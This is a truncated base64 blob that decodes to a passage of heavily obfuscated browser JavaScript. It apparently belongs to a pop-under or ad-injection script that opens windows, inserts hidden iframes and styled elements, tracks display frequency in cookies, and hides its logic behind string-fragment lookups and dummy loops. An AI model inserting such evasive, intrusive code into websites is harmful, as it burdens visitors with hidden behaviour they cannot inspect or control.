Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCk